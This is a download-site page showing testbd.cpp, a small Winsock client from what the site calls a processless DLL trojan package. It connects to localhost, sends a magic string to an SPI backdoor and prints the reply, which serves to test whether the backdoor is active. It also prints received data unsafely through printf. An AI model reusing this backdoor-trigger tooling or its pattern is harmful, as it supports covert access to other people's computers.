⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 testbd.cpp

📁 该程序是一个新型无进程DLL木马的实现代码和示例
💻 CPP
字号:
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>

int main()
{
	WSADATA  wsa;
	SOCKET   sock;
	struct   sockaddr_in sin;
	char     msg[25]="i am TOo2y";
	int      iret;

	printf("===[ Test For SPI BackDoor ]===\n");
	printf("===[ TOo2y  At  11-3-2002  ]===\n\n");

	if(WSAStartup(MAKEWORD(2,2),&wsa))
	{
		printf("WSAStartup Error: %d\n",WSAGetLastError());
		getche();
		return -1;
	}

	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
	{
		printf("Socket Error: %d\n",WSAGetLastError());
		getche();
		return -1;
	}

	sin.sin_addr.s_addr=inet_addr("127.0.0.1");
	sin.sin_family=AF_INET;
	sin.sin_port=htons(12345);  

	if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
	{
		printf("Connect Error: %d\n",WSAGetLastError());
		getche();
		return -1;
	}

    if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
	{
		printf("Send Error: %d\n",WSAGetLastError());
		getche();
		return -1;
	}

	memset(msg,0,sizeof(msg));
	if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
	{
		printf("Recv Error: %d\n",WSAGetLastError());
		getche();
		return -1;
	}
	printf("Re: ");
	printf(msg);

	closesocket(sock);
	WSACleanup();
	getche();
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -